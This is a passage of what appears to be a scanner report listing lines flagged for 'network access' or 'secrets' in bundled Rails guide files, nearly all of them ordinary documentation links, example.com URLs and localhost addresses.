    [`authenticate_or_request_with_http_token`]:     https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token/ControllerMethods.html#method-i-authenticate_or_request_with_http_token
  • Network accessline 247
    https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token/ControllerMethods.html#method-i-authenticate_or_request_with_http_token
  • Network accessline 293
    [`send_data`]:     https://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_data
  • Network accessline 294
    https://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_data
  • Network accessline 296
    https://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file
  • Network accessline 372
    If you need additional MIME types, call [`Mime::Type.register`](https://api.rubyonrails.org/classes/Mime/Type.html#method-c-register)
  • Network accessline 373
    [`Mime::Type.register`](https://api.rubyonrails.org/classes/Mime/Type.html#method-c-register)
  • Network accessline 386
    Rails allows you to stream more than just files. In fact, you can stream anything you would like in a response object. The [`ActionController::Live`](https://api.rubyonrails.org/classes/ActionController/Live.html)
  • Network accessline 387
    anything you would like in a response object. The [`ActionController::Live`](https://api.rubyonrails.org/classes/ActionController/Live.html) module allows you to create a persistent connection with a browser. By including
  • Network accessline 388
    [`ActionController::Live`](https://api.rubyonrails.org/classes/ActionController/Live.html)
  • Network accessline 521
    [`config.force_ssl`]: configuring.html#config-force-ssl [`ActionDispatch::SSL`]:     https://api.rubyonrails.org/classes/ActionDispatch/SSL.html
  • Network accessline 523
    https://api.rubyonrails.org/classes/ActionDispatch/SSL.html
  • Network accessline 660
    [`rescue_from`]: https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from

packages/autoskills/skills-registry/rails-guides/references/action_controller_overview.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 22
    Action Controller is the C in the Model View Controller ([MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller))
  • Network accessline 23
    ([MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller))
  • Network accessline 28
    For most conventional [RESTful](https://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request, fetch or save data from a
  • Network accessline 29
    [RESTful](https://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request, fetch or save data from a model, and use a view to create HTML output.
  • Network accessline 70
    NOTE: All controllers inherit from `ApplicationController`, which in turn inherits from [`ActionController::Base`](https://api.rubyonrails.org/classes/ActionController/Base.html).
  • Network accessline 71
    inherits from [`ActionController::Base`](https://api.rubyonrails.org/classes/ActionController/Base.html). For [API only](https://guides.rubyonrails.org/api_app.html) applications `ApplicationController` inherits from
  • Network accessline 72
    [`ActionController::Base`](https://api.rubyonrails.org/classes/ActionController/Base.html).
  • Network accessline 73
    For [API only](https://guides.rubyonrails.org/api_app.html) applications `ApplicationController` inherits from
  • Network accessline 74
    [`ActionController::API`](https://edgeapi.rubyonrails.org/classes/ActionController/API.html).
  • Network accessline 116
    - Query string parameters which are sent as part of the URL (for example, after   the `?` in `http://example.com/accounts?filter=free`).
  • Network accessline 117
    the `?` in `http://example.com/accounts?filter=free`).
  • Network accessline 152
    [`params`]:     https://api.rubyonrails.org/classes/ActionController/StrongParameters.html#method-i-params
  • Network accessline 153
    https://api.rubyonrails.org/classes/ActionController/StrongParameters.html#method-i-params
  • Network accessline 155
    https://api.rubyonrails.org/classes/ActionController/Parameters.html
  • Network accessline 280
    You can also customize the name of the key or specific parameters you want to wrap, see the [API documentation](https://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html)
  • Network accessline 281
    wrap, see the [API documentation](https://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html) for more.
  • Network accessline 282
    documentation](https://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html)
  • Network accessline 285
    [Wrap Parameters]:     https://api.rubyonrails.org/classes/ActionController/ParamsWrapper/Options/ClassMethods.html#method-i-wrap_parameters
  • Network accessline 286
    https://api.rubyonrails.org/classes/ActionController/ParamsWrapper/Options/ClassMethods.html#method-i-wrap_parameters
  • Network accessline 311
    [`controller_name`]:     https://api.rubyonrails.org/classes/ActionController/Metal.html#method-i-controller_name
  • Network accessline 312
    https://api.rubyonrails.org/classes/ActionController/Metal.html#method-i-controller_name
  • Network accessline 314
    https://api.rubyonrails.org/classes/AbstractController/Base.html#method-i-action_name
  • Network accessline 318
    You can set global default parameters for [`url_for`]( https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for)
  • Network accessline 319
    https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for)
  • Network accessline 360
    With Action Controller [Strong Parameters](https://api.rubyonrails.org/classes/ActionController/StrongParameters.html),
  • Network accessline 361
    Parameters](https://api.rubyonrails.org/classes/ActionController/StrongParameters.html),
  • Network accessline 496
    [`permit`]:     https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-permit
  • Network accessline 497
    https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-permit
  • Network accessline 498
    [`permit!`]:     https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-permit-21 [`expect`]:
  • Network accessline 499
    https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-permit-21
  • Network accessline 501
    https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-expect
  • Network accessline 547
    # using `fetch` you can supply a default and use # the Strong Parameters API from there. params.fetch(:blog, {}).permit(:title, :author)
  • Network accessline 549
    params.fetch(:blog, {}).permit(:title, :author)
  • Network accessline 585
    [`require`]:     https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-require
  • Network accessline 586
    https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-require
  • Network accessline 591
    The concept of a cookie is not specific to Rails. A [cookie](https://en.wikipedia.org/wiki/HTTP_cookie) (also known as an HTTP
  • Network accessline 592
    [cookie](https://en.wikipedia.org/wiki/HTTP_cookie) (also known as an HTTP
  • Access to secretsline 594
    [Credential-related source omitted]
  • Access to secretsline 647
    [Credential-related source omitted]
  • Network accessline 654
    Refer to the [API documentation](https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html)
  • Network accessline 655
    documentation](https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html)
  • Network accessline 688
    configuring.html#config-action-dispatch-cookies-serializer [`cookies`]:     https://api.rubyonrails.org/classes/ActionController/Cookies.html#method-i-cookies
  • Network accessline 690
    https://api.rubyonrails.org/classes/ActionController/Cookies.html#method-i-cookies
  • Network accessline 752
    recommended to use `reset_session` after logging in to avoid session fixation attacks. Please refer to the [Security Guide](https://edgeguides.rubyonrails.org/security.html#session-fixation-countermeasures)
  • Network accessline 753
    attacks. Please refer to the [Security Guide](https://edgeguides.rubyonrails.org/security.html#session-fixation-countermeasures) for details.
  • Network accessline 754
    Guide](https://edgeguides.rubyonrails.org/security.html#session-fixation-countermeasures)
  • Network accessline 761
    [`reset_session`]:     https://api.rubyonrails.org/classes/ActionController/Metal.html#method-i-reset_session
  • Network accessline 762
    https://api.rubyonrails.org/classes/ActionController/Metal.html#method-i-reset_session
  • Network accessline 766
    The [flash](https://api.rubyonrails.org/classes/ActionDispatch/Flash.html)
  • Network accessline 904
    [`flash`]:     https://api.rubyonrails.org/classes/ActionDispatch/Flash/RequestMethods.html#method-i-flash
  • Network accessline 905
    https://api.rubyonrails.org/classes/ActionDispatch/Flash/RequestMethods.html#method-i-flash
  • Network accessline 906
    [`flash.keep`]:     https://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html#method-i-keep [`flash.now`]:
  • Network accessline 907
    https://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html#method-i-keep
  • Network accessline 909
    https://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html#method-i-now
  • Network accessline 993
    WARNING: Changing the `secret_key_base` when using the `CookieStore` will invalidate all existing sessions. You'll need to configure a [cookie rotator](https://edgeguides.rubyonrails.org/configuring.html#config-action-dispatch-cookies-rotat
  • Network accessline 994
    invalidate all existing sessions. You'll need to configure a [cookie rotator](https://edgeguides.rubyonrails.org/configuring.html#config-action-dispatch-cookies-rotations)
  • Network accessline 997
    [`ActionDispatch::Session::CookieStore`]:     https://api.rubyonrails.org/classes/ActionDispatch/Session/CookieStore.html
  • Network accessline 998
    https://api.rubyonrails.org/classes/ActionDispatch/Session/CookieStore.html
  • Network accessline 999
    [`ActionDispatch::Session::CacheStore`]:     https://api.rubyonrails.org/classes/ActionDispatch/Session/CacheStore.html [activerecord-session_store]:
  • Network accessline 1000
    https://api.rubyonrails.org/classes/ActionDispatch/Session/CacheStore.html
  • Network accessline 1002
    https://github.com/rails/activerecord-session_store
  • Network accessline 1064
    [`before_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-before_action
  • Network accessline 1065
    [`skip_before_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-skip_before_action
  • Network accessline 1115
    [`after_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-after_action
  • Network accessline 1116
    [`around_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-around_action
  • Network accessline 1190
    [`ActionDispatch::Request`]: https://api.rubyonrails.org/classes/ActionDispatch/Request.html
  • Network accessline 1191
    [`request`]: https://api.rubyonrails.org/classes/ActionController/Base.html#method-i-request
  • Network accessline 1192
    [`response`]: https://api.rubyonrails.org/classes/ActionController/Base.html#method-i-response
  • Network accessline 1193
    [`ActionDispatch::Response`]: https://api.rubyonrails.org/classes/ActionDispatch/Response.html
  • Network accessline 1201
    To get a full list of the available methods, refer to the [Rails API documentation](https://api.rubyonrails.org/classes/ActionDispatch/Request.html)
  • Network accessline 1202
    documentation](https://api.rubyonrails.org/classes/ActionDispatch/Request.html)
  • Network accessline 1203
    and [Rack](https://rack.github.io/rack/main/Rack/Request.html)
  • Network accessline 1233
    [`path_parameters`]: https://api.rubyonrails.org/classes/ActionDispatch/Http/Parameters.html#method-i-path_parameters
  • Network accessline 1234
    [`query_parameters`]: https://api.rubyonrails.org/classes/ActionDispatch/Request.html#method-i-query_parameters
  • Network accessline 1235
    [`request_parameters`]: https://api.rubyonrails.org/classes/ActionDispatch/Request.html#method-i-request_parameters
  • Network accessline 1248
    You can set the [`request.variant`](https://api.rubyonrails.org/classes/ActionDispatch/Http/MimeNegotiation.html#method-i-variant-3D) in a `before_action`:
  • Network accessline 1319
    To get a full list of the available methods, refer to the [Rails API documentation](https://api.rubyonrails.org/classes/ActionDispatch/Response.html)
  • Network accessline 1320
    documentation](https://api.rubyonrails.org/classes/ActionDispatch/Response.html)
  • Network accessline 1322
    Documentation](https://rack.github.io/rack/main/Rack/Response.html).

packages/autoskills/skills-registry/rails-guides/references/action_mailbox_basics.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 26
    Job](active_job_basics.html) to one or several dedicated mailboxes. These emails are turned into [`InboundEmail`](https://api.rubyonrails.org/classes/ActionMailbox/InboundEmail.html)
  • Network accessline 27
    are turned into [`InboundEmail`](https://api.rubyonrails.org/classes/ActionMailbox/InboundEmail.html) records using [Active Record](active_record_basics.html), which are capable of
  • Network accessline 28
    [`InboundEmail`](https://api.rubyonrails.org/classes/ActionMailbox/InboundEmail.html)
  • Network accessline 65
    At this point, you can start your Rails server and check out `http://localhost:3000/rails/conductor/action_mailbox/inbound_emails`. See
  • Network accessline 66
    `http://localhost:3000/rails/conductor/action_mailbox/inbound_emails`. See
  • Network accessline 103
    action_mailbox:ingress:exim`, providing the `URL` of the relay ingress and the `INGRESS_PASSWORD` you previously generated. If your application lived at `https://example.com`, the full command would look like this:
  • Network accessline 105
    `https://example.com`, the full command would look like this:
  • Network accessline 108
    [Credential-related source omitted]
  • Network accessline 136
    [Configure Mailgun](https://documentation.mailgun.com/docs/mailgun/user-manual/receive-forward-store/)
  • Network accessline 137
    Mailgun](https://documentation.mailgun.com/docs/mailgun/user-manual/receive-forward-store/)
  • Network accessline 138
    to forward inbound emails to `/rails/action_mailbox/mailgun/inbound_emails/mime`. If your application lived at `https://example.com`, you would specify the fully-qualified URL
  • Network accessline 139
    `/rails/action_mailbox/mailgun/inbound_emails/mime`. If your application lived at `https://example.com`, you would specify the fully-qualified URL `https://example.com/rails/action_mailbox/mailgun/inbound_emails/mime`.
  • Network accessline 140
    at `https://example.com`, you would specify the fully-qualified URL
  • Network accessline 141
    `https://example.com/rails/action_mailbox/mailgun/inbound_emails/mime`.
  • Access to secretsline 149
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Network accessline 167
    [Configure Mandrill](https://mailchimp.com/developer/transactional/guides/set-up-inbound-email-processing/)
  • Network accessline 168
    Mandrill](https://mailchimp.com/developer/transactional/guides/set-up-inbound-email-processing/)
  • Network accessline 169
    to route inbound emails to `/rails/action_mailbox/mandrill/inbound_emails`. If your application lived at `https://example.com`, you would specify the fully-qualified URL
  • Network accessline 170
    your application lived at `https://example.com`, you would specify the
  • Network accessline 172
    `https://example.com/rails/action_mailbox/mandrill/inbound_emails`.
  • Network accessline 198
    [Configure Postfix](https://serverfault.com/questions/258469/how-to-configure-postfix-to-pipe-all-incoming-email-to-a-script)
  • Network accessline 199
    Postfix](https://serverfault.com/questions/258469/how-to-configure-postfix-to-pipe-all-incoming-email-to-a-script)
  • Network accessline 200
    to pipe inbound emails to `bin/rails action_mailbox:ingress:postfix`, providing the `URL` of the Postfix ingress and the `INGRESS_PASSWORD` you previously generated. If your application lived at `https://example.com`, the full command
  • Network accessline 201
    the `URL` of the Postfix ingress and the `INGRESS_PASSWORD` you previously generated. If your application lived at `https://example.com`, the full command would look like this:
  • Network accessline 202
    generated. If your application lived at `https://example.com`, the full command
  • Network accessline 206
    [Credential-related source omitted]
  • Network accessline 233
    [Configure Postmark inbound webhook](https://postmarkapp.com/manual#configure-your-inbound-webhook-url) to
  • Network accessline 234
    webhook](https://postmarkapp.com/manual#configure-your-inbound-webhook-url) to
  • Network accessline 235
    forward inbound emails to `/rails/action_mailbox/postmark/inbound_emails` with the username `actionmailbox` and the password you previously generated. If your application lived at `https://example.com`, you would configure Postmark with
  • Network accessline 236
    the username `actionmailbox` and the password you previously generated. If your application lived at `https://example.com`, you would configure Postmark with the following fully-qualified URL:
  • Network accessline 237
    application lived at `https://example.com`, you would configure Postmark with
  • Network accessline 241
    https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/postmark/inbound_emails
  • Network accessline 273
    action_mailbox:ingress:qmail`, providing the `URL` of the relay ingress and the `INGRESS_PASSWORD` you previously generated. If your application lived at `https://example.com`, the full command would look like this:
  • Network accessline 275
    `https://example.com`, the full command would look like this:
  • Network accessline 278
    [Credential-related source omitted]
  • Network accessline 305
    [Configure SendGrid Inbound Parse](https://sendgrid.com/docs/for-developers/parsing-email/setting-up-the-inbound-parse-webhook/)
  • Network accessline 306
    Parse](https://sendgrid.com/docs/for-developers/parsing-email/setting-up-the-inbound-parse-webhook/)
  • Network accessline 307
    to forward inbound emails to `/rails/action_mailbox/sendgrid/inbound_emails` with the username `actionmailbox` and the password you previously generated. If your application lived at `https://example.com`, you would configure SendGrid
  • Network accessline 308
    with the username `actionmailbox` and the password you previously generated. If your application lived at `https://example.com`, you would configure SendGrid with the following URL:
  • Network accessline 309
    your application lived at `https://example.com`, you would configure SendGrid
  • Network accessline 313
    https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/sendgrid/inbound_emails
  • Network accessline 345
    For example, the above will match any email sent to `save@` to a "forwards" mailbox. There are other ways to route an email, see [`ActionMailbox::Base`](https://api.rubyonrails.org/classes/ActionMailbox/Base.html)
  • Network accessline 346
    mailbox. There are other ways to route an email, see [`ActionMailbox::Base`](https://api.rubyonrails.org/classes/ActionMailbox/Base.html) for more.
  • Network accessline 347
    [`ActionMailbox::Base`](https://api.rubyonrails.org/classes/ActionMailbox/Base.html)
  • Network accessline 364
    When processing an `InboundEmail`, you can get the parsed version of the email as a [`Mail`](https://github.com/mikel/mail) object with `InboundEmail#mail`.
  • Network accessline 365
    as a [`Mail`](https://github.com/mikel/mail) object with `InboundEmail#mail`.
  • Network accessline 415
    met before `process` method is called. In this case, `before_processing` checks that the user has at least one project. Other supported [Action Mailbox callbacks](https://api.rubyonrails.org/classes/ActionMailbox/Callbacks.html) are
  • Network accessline 416
    that the user has at least one project. Other supported [Action Mailbox callbacks](https://api.rubyonrails.org/classes/ActionMailbox/Callbacks.html) are `after_processing` and `around_processing`.
  • Network accessline 417
    callbacks](https://api.rubyonrails.org/classes/ActionMailbox/Callbacks.html) are
  • Network accessline 500
    Please refer to the [ActionMailbox::TestHelper API](https://api.rubyonrails.org/classes/ActionMailbox/TestHelper.html) for
  • Network accessline 501
    API](https://api.rubyonrails.org/classes/ActionMailbox/TestHelper.html) for
  • Network accessline 510
    The actual incineration is done via the [`IncinerationJob`](https://api.rubyonrails.org/classes/ActionMailbox/IncinerationJob.html)
  • Network accessline 511
    [`IncinerationJob`](https://api.rubyonrails.org/classes/ActionMailbox/IncinerationJob.html)

packages/autoskills/skills-registry/rails-guides/references/action_mailer_basics.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 35
    [`ActionMailer::Base`]:     https://api.rubyonrails.org/classes/ActionMailer/Base.html
  • Network accessline 36
    https://api.rubyonrails.org/classes/ActionMailer/Base.html
  • Network accessline 104
    def welcome_email     @user = params[:user]     @url  = "http://example.com/login"
  • Network accessline 105
    @user = params[:user]     @url  = "http://example.com/login"     mail(to: @user.email_address, subject: "Welcome to My Awesome Site")
  • Network accessline 106
    @url  = "http://example.com/login"
  • Network accessline 139
    [`default`]:     https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-c-default
  • Network accessline 140
    https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-c-default
  • Network accessline 141
    [`mail`]:     https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-mail [`headers`]:
  • Network accessline 142
    https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-mail
  • Network accessline 144
    https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-headers
  • Network accessline 337
    [`ActionMailer::MessageDelivery`]:     https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html
  • Network accessline 338
    https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html
  • Network accessline 339
    [`deliver_later`]:     https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-deliver_later [`deliver_now`]:
  • Network accessline 340
    https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-deliver_later
  • Network accessline 341
    [`deliver_now`]:     https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-deliver_now [`Mail::Message`]: https://api.rubyonrails.org/classes/Mail/Message.html
  • Network accessline 342
    https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-deliver_now
  • Network accessline 343
    [`Mail::Message`]: https://api.rubyonrails.org/classes/Mail/Message.html
  • Network accessline 344
    [`message`]:     https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-message [`with`]:
  • Network accessline 345
    https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-message
  • Network accessline 347
    https://api.rubyonrails.org/classes/ActionMailer/Parameterized/ClassMethods.html#method-i-with
  • Network accessline 356
    You can add an attachment with Action Mailer by passing the file name and content to the [attachments method](https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-attachments).
  • Network accessline 357
    content to the [attachments method](https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-attachments). Action Mailer will automatically guess the `mime_type`, set the `encoding`, and
  • Network accessline 358
    method](https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-attachments).
  • Network accessline 403
    you want to show inline. You can call `url` on the hash and pass the result into the [`image_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag)
  • Network accessline 404
    the [`image_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag) method:
  • Network accessline 405
    [`image_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag)
  • Network accessline 432
    The [Mail](https://github.com/mikel/mail) gem has helper methods for making a
  • Network accessline 433
    `multipart/alternate` email for `text/plain` and `text/html` [MIME types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types) and you can manually create any other type of MIME email.
  • Network accessline 434
    types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types)
  • Network accessline 466
    def welcome_email     @user = params[:user]     @url  = "http://example.com/login"
  • Network accessline 467
    @user = params[:user]     @url  = "http://example.com/login"     mail(to: @user.email_address,
  • Network accessline 468
    @url  = "http://example.com/login"
  • Network accessline 488
    def welcome_email     @user = params[:user]     @url  = "http://example.com/login"
  • Network accessline 489
    @user = params[:user]     @url  = "http://example.com/login"     mail(to: @user.email_address,
  • Network accessline 490
    @url  = "http://example.com/login"
  • Network accessline 500
    This will render the template `another_template.html.erb` for the HTML part and "hello" for the text part. The [render](https://api.rubyonrails.org/classes/ActionController/Rendering.html#method-i-render)
  • Network accessline 501
    "hello" for the text part. The [render](https://api.rubyonrails.org/classes/ActionController/Rendering.html#method-i-render) method is the same one used inside of Action Controller, so you can use all the
  • Network accessline 502
    [render](https://api.rubyonrails.org/classes/ActionController/Rendering.html#method-i-render)
  • Network accessline 523
    [`append_view_path`]:     https://api.rubyonrails.org/classes/ActionView/ViewPaths/ClassMethods.html#method-i-append_view_path
  • Network accessline 524
    https://api.rubyonrails.org/classes/ActionView/ViewPaths/ClassMethods.html#method-i-append_view_path
  • Network accessline 526
    https://api.rubyonrails.org/classes/ActionView/ViewPaths/ClassMethods.html#method-i-prepend_view_path
  • Network accessline 573
    [`url_for`]:     https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for
  • Network accessline 574
    https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for
  • Network accessline 598
    config.action_mailer.asset_host = "http://example.com"
  • Network accessline 601
    NOTE: Because we can't infer the protocol from the request, you'll need to specify a protocol such as `http://` or `https://` in the `:asset_host` config.
  • Network accessline 602
    specify a protocol such as `http://` or `https://` in the `:asset_host` config.
  • Network accessline 631
    [`cache`]:     https://api.rubyonrails.org/classes/ActionView/Helpers/CacheHelper.html#method-i-cache
  • Network accessline 632
    https://api.rubyonrails.org/classes/ActionView/Helpers/CacheHelper.html#method-i-cache
  • Network accessline 686
    [`layout`]:     https://api.rubyonrails.org/classes/ActionView/Layouts/ClassMethods.html#method-i-layout
  • Network accessline 687
    https://api.rubyonrails.org/classes/ActionView/Layouts/ClassMethods.html#method-i-layout
  • Network accessline 744
    [`email_address_with_name`]:     https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-email_address_with_name
  • Network accessline 745
    https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-email_address_with_name
  • Network accessline 925
    [`after_action`]:     https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-after_action
  • Network accessline 926
    https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-after_action
  • Network accessline 927
    [`after_deliver`]:     https://api.rubyonrails.org/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-after_deliver [`around_action`]:
  • Network accessline 928
    https://api.rubyonrails.org/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-after_deliver
  • Network accessline 929
    [`around_action`]:     https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-around_action [`around_deliver`]:
  • Network accessline 930
    https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-around_action
  • Network accessline 931
    [`around_deliver`]:     https://api.rubyonrails.org/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-around_deliver [`before_action`]:
  • Network accessline 932
    https://api.rubyonrails.org/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-around_deliver
  • Network accessline 933
    [`before_action`]:     https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-before_action [`before_deliver`]:
  • Network accessline 934
    https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-before_action
  • Network accessline 936
    https://api.rubyonrails.org/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-before_deliver
  • Network accessline 953
    [`ActionMailer::MailHelper`]:     https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html
  • Network accessline 954
    https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html
  • Network accessline 955
    [MailHelper#mailer]:     https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html#method-i-mailer [MailHelper#message]:
  • Network accessline 956
    https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html#method-i-mailer
  • Network accessline 958
    https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html#method-i-message
  • Network accessline 1005
    NOTE: Google [blocks sign-ins](https://support.google.com/accounts/answer/6010255) from apps it deems
  • Network accessline 1006
    sign-ins](https://support.google.com/accounts/answer/6010255) from apps it deems
  • Network accessline 1007
    less secure. You can [change your Gmail settings](https://www.google.com/settings/security/lesssecureapps) to allow the
  • Network accessline 1008
    attempts. If your Gmail account has 2-factor authentication enabled, then you will need to set an [app password](https://myaccount.google.com/apppasswords) and use that instead of your regular password.
  • Network accessline 1009
    will need to set an [app password](https://myaccount.google.com/apppasswords)
  • Network accessline 1034
    Now the preview will be available at <http://localhost:3000/rails/mailers/user_mailer/welcome_email>.
  • Network accessline 1035
    <http://localhost:3000/rails/mailers/user_mailer/welcome_email>.
  • Network accessline 1038
    `app/views/user_mailer/welcome_email.html.erb` or the mailer itself, the preview will automatically be updated. A list of previews is also available in <http://localhost:3000/rails/mailers>.
  • Network accessline 1040
    <http://localhost:3000/rails/mailers>.
  • Network accessline 1056
    To rescue errors that occur during any part of the mailing process, use [rescue_from](https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from):
  • Network accessline 1057
    [rescue_from](https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from):

packages/autoskills/skills-registry/rails-guides/references/action_text_overview.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 26
    Action Text includes a [WYSIWYG](https://en.wikipedia.org/wiki/WYSIWYG) editor
  • Network accessline 29
    everything from providing enriching capabilities like the formatting of text, adding links or quotes, embedding images, and much much more. See [the Trix editor website](https://trix-editor.org/) for examples.
  • Network accessline 31
    editor website](https://trix-editor.org/) for examples.
  • Network accessline 91
    model, on a single association. Read more about it in the [Active Record Associations guide](https://guides.rubyonrails.org/association_basics.html#polymorphic-associations).
  • Network accessline 93
    guide](https://guides.rubyonrails.org/association_basics.html#polymorphic-associations).
  • Network accessline 130
    update your views to make use of the rich text editor (Trix) for that field. To do so, use a [`rich_textarea`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-rich_textarea)
  • Network accessline 131
    do so, use a [`rich_textarea`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-rich_textarea) for the form field.
  • Network accessline 132
    [`rich_textarea`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-rich_textarea)
  • Network accessline 184
    HTML safe and should not be rendered in browsers without additional sanitization. You can learn more about Action Text's sanitization process in the [`ActionText::RichText` documentation](https://api.rubyonrails.org/classes/ActionText/RichT
  • Network accessline 186
    documentation](https://api.rubyonrails.org/classes/ActionText/RichText.html).
  • Network accessline 269
    In addition to the typical `event.detail` properties, Action Text also dispatches events with an [`event.detail.attachment`](https://github.com/basecamp/trix/?tab=readme-ov-file#inserting-a-file)
  • Network accessline 270
    dispatches events with an [`event.detail.attachment`](https://github.com/basecamp/trix/?tab=readme-ov-file#inserting-a-file) property.
  • Network accessline 271
    [`event.detail.attachment`](https://github.com/basecamp/trix/?tab=readme-ov-file#inserting-a-file)
  • Network accessline 291
    In addition to attachments uploaded through Active Storage, Action Text can also embed anything that can be resolved by a [Signed GlobalID](https://github.com/rails/globalid#signed-global-ids).
  • Network accessline 293
    GlobalID](https://github.com/rails/globalid#signed-global-ids).

packages/autoskills/skills-registry/rails-guides/references/action_view_helpers.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 16
    The following outlines **some of the most commonly used helpers** available in Action View. It serves as a good starting point, but reviewing the full [API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers.html) is
  • Network accessline 17
    Action View. It serves as a good starting point, but reviewing the full [API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers.html) is also recommended, as it covers all of the helpers in more detail.
  • Network accessline 18
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers.html) is
  • Network accessline 46
    See the [`distance_of_time_in_words` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-distance_of_time_in_words)
  • Network accessline 47
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-distance_of_time_in_words)
  • Network accessline 59
